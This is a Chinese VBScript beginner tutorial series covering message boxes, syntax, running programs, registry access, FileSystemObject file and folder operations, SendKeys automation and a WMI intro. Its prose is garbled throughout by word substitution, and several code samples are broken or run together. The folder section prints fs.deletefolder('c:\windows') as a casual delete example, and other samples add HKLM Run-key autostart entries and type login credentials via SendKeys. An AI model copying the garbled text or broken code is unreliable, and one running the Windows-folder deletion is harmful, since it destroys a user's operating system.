在Windows中,学习打算机操作大概很大略,但是很多打算机事情是重复性劳动,例如你每周大概须要对一些打算机文件进行复制、粘贴、改名、删除,大概你每天启动打算机第一件事情便是打开WORD,切换到你喜好的输入法进行文本编辑,同时还要播放幽美的音乐给事情创造一个舒心的环境,当然也有可能你常常须要对文本中的某些数据进行整理,把各式各样的数据按照某种规则排列起来……。这些事情重复、噜苏,使人随意马虎疲倦。
第三方软件也容许以强化打算机的某些功能,但是办理这些重复劳动往往事倍功半,我也考试测验过利用打算机措辞编写程序来办理这些问题,但是随之而来的命令、语法、算法、系统框架和类库常常让我以为这样是否有必要,难道便是由于猪毛比较难拔,以是我就要去学习机器,为自己设计一个拔猪毛机(?)吗?
Vbs是一种Windows脚本,它的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版),VBS是Visual Basic的的一个抽象子集,是系统内置的,用它编写的脚本代码不能编译成二进制文件,直接由Windows系统实行(实际是一个叫做宿主host的阐明源代码并实行),高效、易学,但是大部分高等措辞能干的事情,它基本上都具备,它可以使各种各样的任务自动化,可以使你从重复噜苏的事情中解脱出来,极大的提高事情效率。

我个人认为Vbs脚本实在便是一种打算机编程措辞,但是由于短缺打算机程序设计措辞中的部分要素,对付事宜的描述能力较弱,以是称为脚本,它最方便的地方便是供应了对COM工具的简便支持。那么什么是COM工具呢?
我这样理解,COM工具便是一些具有特定函数功能项程序模块,他们一样平常以ocx或者dll作为扩展名,你只要找到包含有你须要的功能的模块文件,并在脚本中规范的引用,就可以实现特定的功能,也便是说Vbs脚本便是调用现成的"控件"作为工具,用工具的属性和方法实现目的,完备免去了编写代码、设打算法等等麻烦。说白了,我不是以为拔猪毛麻烦么?我发觉xx机(比如真空离心器)有一个功能可以实现脱毛,ok,我把它拿来给猪脱毛。什么?大材小用?太摧残浪费蹂躏资源了?天哪,那是打算机芯片的事情,去世道友不去世贫道,反正我的事情是方便快速的办理了,这就行了。
最方便的是它乃至不须要专门的开拓环境,在你的打算机中,只要有notepad,就可以编写Vbs脚本了,并且可以直接实行。
Vbs脚本编程简明教程之二
如何开始第一个Vbs脚本?
就像多数打算机教程一样 ,我们从"Hello World!
"程序开始我们的练习。什么?不知道是什么意思?便是说大部分的打算机程序设计教程开篇入门都是编写一个小程序,实行这个程序的结果便是在打算机的屏幕上或者dos窗口中显示一行笔墨:Hello World!
好了,我们开始吧。
打开你的"记事本"程序,在编辑窗口填写:
msgbox "Hello World!"
然后用鼠标单击"文件"菜单,单击"保存",把"保存在"一栏设为桌面,在"文件名"一栏中填写kk.vbs,单击"保存"就可以了。然后最小化"记事本"窗口,在桌面上探求你刚刚保存的kk.vbs,然后双击。看到弹出的对话框了没有,单击"确定",对话框消逝了。丢脸了点,不过确实是你编写的第一个脚本程序。
解释之一:上面的操作中,保存位置放在桌面,仅仅是为了实行方便,你保存到其他的地方完备没有问题,只要你知道你保存在什么地方就可以了,什么?是废话,自己保存确当然知道保存在那里了。不,自己保存的文件自己找不到的人我见的多了去了。文件名你可以随意填写,不一定非要写kk,只要符合Windows的文件命名规则就可以了,但是扩展名必须是vbs,什么?不知道什么是扩展名?便是文件名中"."后的那部分,大略说,便是vbs脚本文件命名时必须是:xxx.vbs,个中xxx你随意。
解释之二:在记事本编辑窗口中写的这行是什么意思?
Msgbox是VBS内建的函数,每一个函数都可以完成一定的功能,你只须要按照语法哀求,在函数的相应部分填写相应的内容就可以了,这部分内容我们称为参数,当然函数实行的结果我们称为返回值,一个函数可以有返回值也可以没有,可以有参数也可以没有。你不用理解函数是怎么运作的,只要理解这个函数能干什么就行了。
Msgbox语法:msgbox "对话框内容", , "对话框的标题"
你不妨用记事本打开刚才的文件在编辑窗口中输入:
msgbox "Hello World!" , , "系统提示"
实行一下,看看效果和位置。
解释之三:如果实行失落败,看看你的标点符号,所有的标点符号必须是在英文状态下输入的。当然,这个脚本实在是太大略了,乃至连最大略的交互都没有,以是你可以把脚本这样修正一下:
Dim namename=Inputbox("请输入你的名字:","名称") Msgbox name, , "您的名字是"
保存实行一下,看到弹出的对话框了么?填入你的名字,点确定,看到结果了吗?
解释之一:第一句是定义变量,dim是定义变量的语句
其格式为:dim 变量1,变量2……,
Vbs只有一种变量类型,以是不用声明变量类型。系统会自动分辨变量类型。
解释之二:inputbox是VBS内建的函数,可以接管输入的内容,其语法格式为:
Inputbox("对话框内容","对话框标题")
第二句的意思是接管用户的输入,并把输入结果通报给变量name。
好了,到此脚本基本的输入输出函数都有了,已经可以完成一些比较大略的功能了,你可以编写一个大略的脚本,然后拷贝的"程序"—>"启动"中,然后重新启动打算机看当作果
Vbs脚本编程简明教程之三
Vbs的基本语法(牢记)
VBScript根本知识
一、变量
1、所有单引号后面的内容都被阐明为注释。
2、在VBScript中,变量的命名规则遵照标准的命名规则,须要把稳的是:在VBScript中对变量、方法、函数和工具的引用是不区分大小写的。在申明变量时,要显式地申明一个变量,须要利用关键字DIm来见告VBScript你要创建一个变量,并将变量名称跟在其后。申明多个同类型变量,可以用逗号分隔。把稳:VBScript中不许可在申明变量的时候同时给变量赋值。但是许可在一行代码内同时对两个变量进行赋值,中间用冒号分隔。
3、你可以利用Option Explicit来见告宿主变量必须先声明后利用。
4、VBScript在定义时只有一种变量类型,在实际利用中须要利用类型转换函数来将变量转换成相应的变量类型。
Cbool函数将变量转换成布尔值;
Cbyte函数将变量转换为0到255之间的整数。
Ccur函数、Cdbl函数和Csng函数将变量转换为浮点数值,前者只精确到小数点后四位,后两者要更加精确,数值的范围也要大的多。
Cdate函数将变量转换为日期值。
Cint函数和Clng函数将变量转换为整数,后者的范围比前者要大的多。
Cstr函数将变量转换为字符串。
二、数组
数组的定义与变量非常类似,只须要在变量后描述这个数组的个数和维数。须要把稳的是:数组的下标总是从0开始,而以数组定义中数值减一结束。也便是说你以要定义一个有十个数据的数组,将这样书写代码:dImarray(9),同样,当你要访问第五个元素时,实际的代码是array(4)。当然,你可以通过不指天命组的个数和维数来申明动态数组。等到数组的个数和维数固定后,利用关键字redim来改变数组。把稳,在改变数组的大小时,数组的数据会被毁坏,利用关键字preserve来保护数据。例如:
RedIm空格preserve空格array括号个数逗号维数括号
三、操作符
在VBScript运算符中,加减乘除都是我们常用的符号,乘方利用的是 ^ ,取模利用的Mod。
在比较操作符中,即是、小于、大于、小于即是、大于即是都与我们常用的符号是同等的,而不即是是小于和大于连用。
逻辑运算符为:和操作—>AND 非操作—>NOT 或操作—>OR;
你可以利用操作符 + 和操作符 & 来连接字符串,一样平常利用&操作符;
其余还有一个比较分外的操作符Is用来比较工具,例如按钮工具,如果工具是同一类型,结果便是真,如果工具不是同一类型,结果便是假。
四、条件语句紧张有if……then语句和select case语句两种形式
在if……then语句中,其基本形式为:
If 条件 then
处理条件的语句;
……
Endif
基本形式只能对单个条件进行验证,如果有两个条件,则须要在基本形式中添加单行语句else,如果还有更多的条件须要验证,则须要添加语句
Elseif 条件 then
处理条件语句
在select case语句中,其基本形式为:
Select case 变量
Case 条件值
处理条件语句
并对上两句进行重复
末了一句应为
case else
处理语句
当然不要忘却将条件结束语句End select放在末了一行
把稳:在实行字符串比较时,须要特殊把稳大小写,一样平常情形下,我们在比较前,利用lcase函数将字符串转换成小写,利用ucase函数将字符串转换成大写大写。
五、循环掌握语句
循环掌握语句有for……next循环、for……each循环、do……while循环、do……until循环、while循环五种形式。
在利用循环掌握语句前,首先要对循环条件进行判断,如果循环次数是有固定次数的,那么利用For……next循环,其构造为:
For 计数器变量=开始计数值 to 末了计数值
实行循环体
Next
如果是须要对数组或工具凑集中的每一个元素进行判断,则须要利用for……each循环,其构造为:
For each 循环计数变量 in 要查看的工具或数组
实行处理语句
Next
把稳:在上述两种循环中随时可以利用exit for来退出循环
如果你希望在条件知足时实行一段代码则利用do……while语句,构造为:
Do while 条件
实行循环体
Loop
如果你希望在条件不知足时实行代码,则利用do……until语句,构造为:
Do until 条件
实行循环体
Loop
当然,在这两种循环语句中,你可以利用exit do来退出循环
末了一种循环语句是条件知足时一贯实行循环,
While 条件
实行循环体
Wend
六、利用过程
常用的过程有两种,一种为函数,给调用者返回值,一种为子程序,无返回值,还有一种叫事宜的分外子程序,用的比较少。
函数的基本定义方法为:
Function 函数名称(参数列表)
函数代码
函数名称=某值 ‘用来返回值
end function
子程序一些都类似,不过没有返回值
把稳:只管在定义子程序的时候,参数列表要加括号,但在调用子程序的时候,参数列表不加括号,括号只在函数中利用。其余,子程序不能在表达式中利用。
而函数只能涌如今赋值语句的右边,或者表达式中,函数不能直策应用,如果必须直策应用函数,则必须利用call语句调用,并取消返回值。
Vbs脚本编程简明教程之四
如何利用Vbs运行外部程序?
Vbs只供应了编程的一个基本框架,用户可以利用Vbs来定义变量、过程和函数,vbs也供应了一些内部函数和工具,但是Vbs没有供应任何命令来访问Windows系统内部的部件,但是值得光彩的是,Vbs虽然不能自己完成这些任务,但是它供应了一条极为方便、功能也相称强的命令——CreateObject,这条命令可以访问windows系统内安装的所有com工具,并且可以调用这些部件中存放的命令。
于是问题办理了,比如说,我手头有1000个小文本,我首先要对每一个文本的语法进行查错和修正,然后按照预先定义好的规则对这些文本进行排序,末了将这些文本合并成为一个文件。正常情形下,我们须要把打开第一个小文本,然后把它复制到WORD中,然后利用里面的除错功能进行除错和修正,然后再导入到EXCEL中进行排序,将这个过程重复1000遍,然后再将所有得到的文本复制到一个大文本中。实在是太呆板、事情量太大了。有了Vbs和CreateObject,问题得到办理,我只须要找到相应的模块,调用相应的功能就可以了,作为脚本,把一个呆板的过程重复1000次,本便是它的拿手好戏。
好了,我们走入正题,从最大略的——只启动一个程序开始。
WSH也便是用来解析Vbs的宿主,本身包含了几个个常用工具:
1、Scripting.FileSystemObject —> 供应一整套文件系统操作函数
2、Scripting.Dictionary —> 用来返回存放键值对的字典工具
3、Wscript.Shell —> 供应一套读取系统信息的函数,如读写注册表、查找指定文件的路径、读取DOS环境变量,读取链接中的设置
4、Wscript.NetWork —> 供应网络连接和远程打印机管理的函数。(个中,所有Scripting工具都存放在SCRRUN.DLL文件中,所有的Wscript工具都存放在WSHOM.ocx文件中。)
现在我们须要的是第三个工具,好了,让我们先连接一下工具看看,在记事本的编辑窗口中输入:
Option ExplicitDim objShellSet objShell = CreateObject("Wscript.Shell")objShell.Run "notepad"
同样,保存实行。那么看到了一个什么样的结果呢?在桌面上又打开了一个记事本。
解释之一:Set是Vbs指令,凡是将一工具引用赋给变量,就须要利用set关键字。那么什么是工具引用呢?凡是字符串、数值、布尔值之外的变量都是工具引用。Objshell是变量名,可以随意修正。
解释之二:凡是精确引用的工具,其本身内置有函数和变量,其引用方法为在变量后加". ",后紧跟实在现功能的函数就可以了。Objshell.run 的意思便是调用Wscript.shell中的运行外部程序的函数——run,notepad是记事本程序的文件名。当然你也可以改成"calc",这是打算器的文件名,winword是word的文件名,等等吧,所有可实行文件的文件名都可以。但是须要把稳的是,如果你要实行的可实行文件存放的地方不是程序安装的常用路径,一样平常情形下,须要供应合法的路径名,但是run在运行解析时,碰着空格会停滞,办理的方法是利用双引号,例如:在我的机器上运行qq,代码为:
objshell.run """C:\Program Files\QQ2006\QQ.exe""" ‘注:三个引号
好, 我们再进一步,启动两个程序会如何呢?
输入如下代码:
Set objShell = CreateObject("Wscript.Shell")objShell.Run "notepad"objShell.Run "calc"
实行会如何呢?两个程序基本上同时启动了。如果我们须要先启动notepad再启动calc将如何呢?很大略在须要顺序实行的代码后加 , , True参数就可以了。
好了输入代码:
Set objShell = CreateObject("Wscript.Shell")objShell.Run "notepad" ,,trueobjShell.Run "calc"
看看实行的结果怎么样吧!
总结:run函数有三个参数,第一个参数是你要实行的程序的路径,第二个程序是窗口的形式,0是在后台运行;1表示正常运行;2表示激活程序并且显示为最小化;3表示激活程序并且显示为最大化;一共有10个这样的参数我只列出了4个最常用的。 第三个参数是表示这个脚本是等待还是连续实行,如果设为了true,脚本就会等待调用的程序退出后再向后实行。
实在,run做为函数,前面还有一个接管返回值的变量,一样平常来说如果返回为0,表示成功实行,如果不为0,则这个返回值便是缺点代码,可以通过这个代码找出相应的缺点。
Vbs脚本编程简明教程之五
缺点处理
引发缺点的缘故原由有很多,例如用户输入了缺点类型的值,或者脚本找不到必需的文件、目录或者驱动器,我们可以利用循环技能来处理缺点,但是VBS本身也供应了一些基本技能来进行缺点的检测和处理。
1、最常见的缺点是运行时缺点,也便是说缺点在脚本正在运行的时候发生,是脚本试图进行造孽操作的结果。例如零被作为除数。在vbs中,任何运行时缺点都是致命的,此时,脚本将停滞运行,并在屏幕上显示一个缺点。你可以在脚本的开头添加
On Error Resume Next
这行语句见告vbs在运行时跳过发生缺点的语句,紧接着实行跟在它后面的语句。
发生缺点时,该语句将会把干系的缺点号、缺点描述和干系源代码压入缺点堆栈。
2、虽然On Error Resume Next语句可以防止vbs脚本在发生缺点时停滞运行,但是它并不能真正处理缺点,要处理缺点,须要在脚本中增加一些语句,用来检讨缺点条件并在缺点发生时处理它。
vbscript供应了一个err工具,他有两个方法clear,raise,5个属性:description,helpcontext,helpfile,number,source
err工具不用引用实例,可以直策应用,例如:
on error resume next a=11 b=0 c=a/b if err.number<>0 then wscript.echo err.number & err.description & err.source end if
Vbs脚本编程简明教程之六
修正注册表
Vbs中修正注册表的语句紧张有:
1、读注册表的关键词和值:
可以通过把关键词的完全路径通报给wshshell工具的regread方法。例如:
set ws=wscript.createobject("wscript.shell") v=ws.regread("HKLM\Software\7-Zip\Path ") wscript.echo v
2、写注册表
利用wshshell工具的regwrite方法。例子:
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" set ws=wscript.createobject("wscript.shell") t=ws.regwrite(path & "jj","hello")
这样就把
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jj这个键值改成了hello.不过要把稳:这个键值一定要预先存在。
如果要创建一个新的关键词,同样也是用这个方法。
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run\sssa2000\love\" set ws=wscript.createobject("wscript.shell") val=ws.regwrite(path,"nenboy") val=ws.regread(path) wscript.echo val
3、删除关键字和值
利用regdelete方法,把完全的路径通报给regdelete就可以了
例如
val=ws.regdel(path)
把稳,如果要删除关键词的值的话 一定要在路径末了加上"\",如果不加斜线,就会删除全体关键词。
Vbs脚本编程简明教程之七
FSO的常见工具和方法
文件系统是所有操作系统最主要的部分之一,脚本常常会须要对文件及文件夹进行访问和管理,在Vbs中对桌面和文件系统进行访问的顶级工具是FileSystemObject(FSO),这个工具特殊繁芜,是vbs进行文件操作的核心。此节内容应管窥蠡测。
FSO包含的常见工具有:
Drive工具:包含储存设备的信息,包括硬盘、光驱、ram盘、网络驱动器Drives凑集:供应一个物理和逻辑驱动器的列表 File 工具:检讨和处理文件 Files 凑集:供应一个文件夹中的文件列表 Folder工具:检讨和处理文件夹 Folders凑集:供应文件夹中子文件夹的列表 Textstream工具:读写文本文件
FSO的常见方法有:
BulidPath:把文件路径信息添加到现有的文件路径上CopyFile:复制文件CopyFolder:复制文件夹CreateFolder:创建文件夹CreateTextFile:创建文本并返回一个TextStream工具DeleteFile:删除文件DeleteFolder:删除文件夹及个中所有内容DriveExits:确定驱动器是否存在FileExits:确定一个文件是否存在FolderExists:确定某文件夹是否存在GetAbsolutePathName:返回一个文件夹或文件的绝对路径 GetBaseName:返回一个文件或文件夹的基本路径 GetDrive:返回一个dreve工具 GetDriveName:返回一个驱动器的名字 GetExtensionName:返回扩展名 GetFile:返回一个file工具 GetFileName:返回文件夹中文件名称 GetFolder:返回一个文件夹工具GetParentFolderName:返回一个文件夹的父文件夹 GetSpecialFolder:返回指向一个分外文件夹的工具指针 GetTempName:返回一个可以被createtextfile利用的随机产生的文件或文件夹的名称 MoveFile:移动文件MoveFolder:移动文件夹OpenTextFile:打开一个存在的文件并返回一个TextStream工具Vbs脚本编程简明教程之八
FSO中文件夹的基本操作
1、利用fso
由于fso不是wsh的一部分,以是我们须要建立他的模型
例如set fs=wscript.createobject("scripting.filesystemobject")
这样就建立了fso的模型。如果要开释的话也很大略,set fs=nothing
2、利用文件夹
在创建前,我们一样平常须要检讨该文件夹是否存在例如:
dim fs,s //定义fs、s两个变量set fs=wscript.createobject("scripting.filesystemobject") //fs为FSO实例if (fs.folderexists("c:\temp")) then //判断c:\temp文件夹是否存在s="is available" else s="not exist" set foldr=fs.createfolder("c:\temp") //不存在则建立end if
删除:set fs=wscript.createobject("scripting.filesystemobject") fs.deletefolder("c:\windows") 拷贝: set fs=wscript.createobject("scripting.filesystemobject") fs.copyfolder "c:\data" "d:\data" 把稳:如果c:\data 和d:\data都存在,脚本会出错,复制也就会停滞,如果要逼迫覆盖,利用fs.copyfolder "c:\data" "d:\data",true 移动:set fs=wscript.createobject("scripting.filesystemobject") fs.movefolder "c:\data" "d:\data" 我们可以利用通配符,来方便操作:
例如, fs.movefolder :c:\data\te" , "d:\working"
把稳:在目的路径末了没有利用"\" 也便是说我没有这样写:
fs.movefolder c:\data\te" , "d:\working\"
这样写的话,如果d:\working 目录不存在,windows就不会为我们自动创建这个目录。
把稳:上面我们所举的例子都是在利用fso供应的方法,如果利用folder工具也完备是可以的:
set fs= wscript.createobject("scripting.filesystemobject") set f=fs.getfolder("c:\data") f.delete //删除文件夹c:\data。如果有子目录,也会被删除 f.copy "d:\working",true //拷贝到d:\working f.move "d:\temp" //移动到d:\temp
3、分外文件夹
一样平常指的便是系统文件夹:\windows\system32, 临时文件夹,windows文件夹,在前几篇的时候,我们提过一下:例如
set fs=wscript.createobject("scripting.filesystemobject") set wshshell=wscript.createobject("wscript.shell") osdir=wshshell.expandenvironmentstrings("%systemroot%") set f =fs.getfolder(osdir) wscript.echo f
当然,还有大略的方法 那便是利用getspecialfolder()
这个方法利用3种值:
0 表示windows文件夹,干系常量是windowsfolder
1 系统文件夹,干系常量是systemfolder
2 临时目录,干系常量temporaryfolder
例如:
set fs=wscript.createobject("scripting.filesystemobject") set wfolder=fs.getspecialfolder(0) ‘返回windows目录 set wfolder=fs.getspecialfolder(1) ‘返回system32\ set wfolder=fs.getspecialfolder(2)'返回临时目录
Vbs脚本编程简明教程之九——1
妙用SendKeys简化重复操作1
每次开机的时候,你想自动上岸你的QQ或者博客吗?奥妙利用VBS中的SendKeys命令(这个命令的浸染便是仿照键盘操作,将一个或多个按键指令发送到指定Windows窗口来掌握运用程序运行),可以极大的方便我们的常用操作。其利用格式为:
Object.SendKeys string个中:
Object:为WshShell工具,即脚本的第一行为:
Set WshShell=WScript.CreateObject("WScript.Shell")
将Object更换为WshShell
"string":表示要发送的按键指令字符串,须要放在英文双引号中。它包含如下内容:
1.基本键:一样平常来说,要发送的按键指令都可以直接用该按键字符本身来表示,例如要发送字母"x",利用"WshShell.SendKeys "x""即可。当然,也可直接发送多个按键指令,只须要将按键字符按顺序排列在一起即可,例如,要发送按键"cfan",可以利用
"WshShell.SendKeys "cfan""。
2.分外功能键:对付须要与Shift、Ctrl、Alt三个掌握键组合的按键,SendKeys利用分外字符来表示:Shift —— +;Ctrl —— ^;Alt —— %
如要发送的组合按键是同时按下Ctrl+E,须要用"WshShell.SendKeys "^e""表示,如果要发送的组合按键是按住Ctrl键的同时按下E与C两个键,这时应利用小括号把字母键括起来,书写格式为"WshShell.SendKeys "^(ec)"",这里要把稳它与"WshShell.SendKeys "^ec""的差异,后者表示组合按键是同时按住Ctrl和E键,然后松开Ctrl键,单独按下"C"字母键。
由于"+"、"^"这些字符用来表示分外的掌握按键了,如何表示这些按键呢?只要用大括号括住这些字符即可。例如,要发送加号"+",可利用"WshShell.SendKeys "{+}""。其余对付一些不会天生字符的掌握功能按键,也同样须要利用大括号括起来按键的名称,例如要发送回车键,须要用"WshShell.SendKeys "{ENTER}""表示,发送向下的方向键用
"WshShell.SendKeys "{DOWN}""表示。
如果须要发送多个重复的单字母按键,不必重复输入该字母,SendKeys许可利用简化格式进行描述,利用格式为"{按键 数字}"。例如要发送10个字母"x",则输入"WshShell.SendKeys "{x 10}""即可。
例一:WshShell.SendKeys "^{ESC}u"
代码的含义为:按下Ctrl+Esc组合键(相称于按Win键)打开"开始"菜单,接着按U键打开"关机"菜单。
例二:让VBS脚本自动在记事本中输入一行笔墨"hello, welcome to cfan"。
Dim WshShellSet WshShell=WScript.CreateObject("WScript.Shell")WshShell.Run "notepad"WScript.Sleep 2000 //本行的含义为是脚本停息2秒,给notepad一个打开的韶光,有时时间太短可能导致后面的字符无法进入编辑区WshShell.AppActivate "无标题 - 记事本"//AppActivate为探求可实行程序的标题框,"无标题-记事本"内容你的自己打开看一下WshShell.SendKeys "hello, welcome to cfan"作业1:让脚本自动输入下面两段小短句This is the most wonderful day of my lifebecause I'm here with you now
作业2:让脚本在输入短句后自动关闭记事本,并保存文件名为"test",把稳关闭记事本可以直策应用组合按键Alt+F4来实现。
Vbs脚本编程简明教程之九——2
妙用SendKeys简化重复操作2
例三:制作能自动定时存盘的记事本
我们最常用的记事本没有Word、WPS那样的自动定时存盘功能,实在利用VBS脚本再加上SendKeys命令,就能填补这个遗憾。打开记事本,输入以下内容(为随意马虎描述和剖析,把代码分为四个部分):
'第一部分:定义变量和工具Dim WshShell, AutoSaveTime, TXTFileNameAutoSaveTime=300000Set WshShell=WScript.CreateObject("WScript.Shell")TXTFileName=InputBox("请输入你要创建的文件名(不能用中文和纯数字):")'第二部分:打开并激活记事本WshShell.Run "notepad"WScript.Sleep 200WshShell.AppActivate "无标题 - 记事本"'第三部分:用输入的文件名存盘WshShell.SendKeys "^s"WScript.Sleep 300WshShell.SendKeys TXTFileNameWScript.Sleep 300WshShell.SendKeys "%s"WScript.Sleep AutoSaveTime'第四部分:自动定时存盘While WshShell.AppActivate (TXTFileName)=TrueWshShell.SendKeys "^s"WScript.Sleep AutoSaveTimeWendWScript.Quit
将其保存为记事本.vbs,往后要利用记事本时,都通过双击这个脚本文件来打开。
程序解释:这个脚本的基本思路是定时向记事本发送Ctrl+S这个存盘组合键。
第一部分:定义了脚本中须要用到的变量和工具。"AutoSaveTime"变量用来设置自动存盘间隔,单位为毫秒,这里设置为5分钟。"TXTFileName"变量通过输入框取得你要创建的文本文件名称。
第二部分:运行记事本,对付Windows本身供应的程序,比如打算器等,可直接在"WshShell.Run"后输入程序名称,如"calc",对付非系统程序,则可输入完备路径,但要把稳利用8.3格式输入,比如""D:\Progra~1\Tencent\QQ.exe""。
第三部分:这里用SendKeys命令实行了这样的操作流程(请把稳每个操作之间延时命令的利用):在记事本中按Ctrl+S组合键→弹出保存文件的窗口→输入文件名→按Alt+S组合键进行保存(默认保存在"我的文档"目录)。
第四部分:定时存盘的关键,通过"While……Wend"这个当条件为"真"时循环命令,实现自动存盘代码"WshShell.SendKeys "^s""和定时代码"WScript.Sleep AutoSaveTime"的重复实行。由于不能让这个定时存盘循环一贯实行,退出记事本后,必须自动退出脚本并结束循环,以是设计了一个循环判断条件"WshShell.AppActivate TXTFileName=True",当记事本运行中时,可以激活记事本窗口,这个条件运行结果为"True",定时存盘循环一贯实行,退出记事本后,脚本无法激活记事本窗口,就会跳出循环,实行"Wend"后面的"WScript.Quit"退出脚本。
例四:快速上岸QQ软件。假设QQ号码是:10001,密码是:123456,隐身上岸:
set ws=wscript.createobject("wscript.shell") ws.run "C:\Progra~1\Tencent\QQ\QQ.exe",0 wscript.Sleep 2000 ws.AppActivate "QQ用户登录" ws.SendKeys "7015247" wscript.Sleep 200 ws.SendKeys "{TAB}" ws.SendKeys "" wscript.Sleep 200ws.SendKeys "{ENTER}"
例五:关机菜单急速显身
打开记事本,输入以下命令,并将其保存为1.vbs:
set WshShell = CreateObject("WScript.Shell")WshShell.SendKeys "^{ESC}u"
双击运行它,你会创造关机菜单急速涌现了。
将"WshShell.SendKeys "^{ESC}u""改为"WshShell.SendKeys "^+{ESC}"",运行一下看看是否打开了任务管理器
Vbs脚本编程简明教程之九——3
妙用SendKeys自动上网并上岸博客3
将下面的脚本复制到一个文本文件中,并将其文件名命名为:自动上岸.vbs,然后将拨号软件及本脚本一起复制到程序——启动项中,就可以实现自动拨号上网,并上岸到博客上。
代码如下:
Set wshshell=CreateObject("wscript.shell")wshshell.AppActivate "连接 MAE-301U 拨号连接"wscript.Sleep 20000wshshell.SendKeys "{enter}"wshshell.Run "iexplore"WScript.Sleep 2000wshshell.AppActivate "hao123网址之家---实用网址,搜索大全,尽在http://www.hao123.com/ - Microsoft Internet Explorer" '引号中的内容修正为你的浏览器打开后标题栏中的内容wshshell.SendKeys "%d"wshshell.SendKeys "http://passport.baidu.com/?login"wshshell.SendKeys "{enter}"WScript.Sleep 2000wshshell.SendKeys "此处修正为博客帐号"wshshell.SendKeys "{tab}"wshshell.SendKeys "此处修正为博客密码"wshshell.SendKeys "{enter}"'wshshell.SendKeys "%d"
Vbs脚本常用的编辑器当然是notapad,不过这个编辑器的功能当然实在是太弱了一点,实在有很多的专用的脚本编辑器可以大大方便vbs脚本的编写。我常用的有两种:
1、VBSEDit汉化版
2、primalscript汉化版,可以对30多种脚本进行编辑
Vbs脚本编程简明教程之十一
FSO中文件的基本操作
一、文件属性:
在windows中,文件的属性一样平常用数字来表示:
0代表normal,即普通文件未设置任何属性。 1代表只读文件。
2代表隐蔽文件。 4代表系统文件。 16代表文件夹或目录。
32代表存档文件。 1024代表链接或快捷办法。例如:
set fs=wscript.createobject("scripting.filesystemobject") set f=fs.getfile("d:\index.txt") msgbox f.Attributes ‘attributes函数的浸染是显示文件属性
须要解释的是:msgbox显示的结果每每不是上面解释的数字,而是有关属性代表数字的和
二、创建文件:object.createtextfile方法,把稳创建前一样平常须要检讨文件是否存在。
例如:
set fso=wscript.createobject("scripting.filesystemobject") if fso.fileexists("c:\kk.txt") thenmsgbox "文件已存在"elseset f=fso.createtextfile("c:\kk.txt") end if
如须要逼迫覆盖已存在的文件,则在文件名后加true参数。
三、复制、移动、删除文件:利用copyfile方法、movefile方法、deletefile方法。例如:
set fso=wscript.createobject("scripting.filesystemobject") fso.copyfile "c:\kk.txt","d:\1\kk.txt",true //如上文说述,true代表逼迫覆盖fso.movefile "c:\kk.txt", "d:\" //移动文件fso.deletefile "c:\kk.txt" //删除文件
四、文件的读写:
1、打开文件:利用opentextfile方法如:set ts=fso.opentextfile("c:\kk.txt",1,true) 解释:第二个参数为访问模式1为只读、2写入、8为追加第三个参数指定如文件不存在则创建。2、读取文件:read(x)读x个字符;readline读一行;readall全部读取如:set ffile=fso.opentextfile("c:\kk.txt",1,true)value=ffile.read(20)line=ffile.readlinecontents=ffile.readall
3、常见的指针变量:
atendofstream属性:当处于文件结尾的时候这个属性返回true。一样平常用循环检测是否到达文件末端。例如:
do while ffile.atendofstream<>true
ffile.read(10)
loop
atendofline属性:如果已经到了行末端,这个属性返回true。
Column属性(当前字符位置的列号)和line属性(文件当前行号):在打开一个文件后,行和列指针都被设置为1。
4、在文件中跳行:skip(x) 跳过x个字符;skipline 跳过一行
5、在文件中写入字符:可以用2-写入和8-追加的办法来写入
其方法有:write(x)写入x字符串;writeline(x)写入x代表的一行
writeblanklines(n) 写入n个空行
把稳:末了一定要利用close方法关闭文件,读文件后一定要关闭,才能以写的办法打开。
Vbs脚本编程简明教程之十二
利用系统对话框
在VBS脚本设计中,如果能利用windows供应的系统对话框,可以简化脚本的利用难度,使脚本人性化许多,很少有人利用,但VBS并非不能实现这样的功能,方法当然还是利用COM工具。
1、SAFRCFileDlg.FileSave工具:属性有:FileName — 指定默认文件名;FileType — 指定文件扩展名;OpenFileSaveDlg — 显示文件保存框体方法。2、SAFRCFileDlg.FileOpen 工具:FileName — 默认文件名属性;OpenFileOpenDlg — 显示打开文件框体方法。3、UserAccounts.CommonDialog工具:Filter — 扩展名属性("vbs File|.vbs|All Files|.");FilterIndex — 指定InitialDir — 指定默认的文件夹FileName — 指定的文件名Flags — 对话框的类型Showopen方法:
很大略,ok,让我们来举两个大略的例子:
例一:保存文件
Set objDialog = CreateObject("SAFRCFileDlg.FileSave")Set objFSO = CreateObject("Scripting.FileSystemObject")objDialog.FileName = "test"objDialog.FileType = ".txt"intReturn = objDialog.OpenFileSaveDlgIf intReturn ThenobjFSO.CreateTextFile(objDialog.FileName & objdialog.filetype)ElseWscript.QuitEnd If
把稳:1、SAFRCFileDlg.FileSave工具仅仅是供应了一个方便用户选择的界面,本身并没有保存文件的功能,保存文件还须要利用FSO工具来完成。2、用FileType属性来指定默认的文件类型。3、在调用OpenFileSaveDlg方法时,最好把返回值保存到一变量中,用它可以判断用户按下的是确定还是取消。
例二:.打开文件
set objFile = CreateObject("SAFRCFileDlg.FileOpen")intRet = objFile.OpenFileOpenDlgif intret thenmsgbox "文件打开成功!
文件名为:" & objFile.filenameelsewscript.quitend if
例三:比较繁芜的打开文件对话框
Set objDialog = CreateObject("UserAccounts.CommonDialog")objDialog.Filter = "vbs File|.vbs"objDialog.InitialDir = "c:\"tfile=objDialog.ShowOpenif tfile then strLoadFile = objDialog.FileNamemsgbox strLoadFileelsewscript.quitend if
解释:在脚本中加入 objDialog.Flags = &H020 看看会涌现什么结果
Vbs脚本编程简明教程之十三——1
WMI根本之一
WMI即Windows 管理规范,是用户管理本地和远程打算机的一种模型。通过它可以访问、配置、管理和监视险些所有的 Windows 资源。WMI的语法十分大略,基本上常见的命名空间、工具等用险些千篇一律。它对应的是Windows里的WMI做事(winmgmt)。
一、WMI的起源
几年前,几家资深的打算机公司由于系统管理领域短缺标准,委托DMTF启动了CIM(通用信息模型)项目,空想的CIM是一种不受限定于任何特定实现环境的管理工具。WMI是CIM的微软实现,它有很多类是从CIM中派生出来的。
二、WMI的命名空间
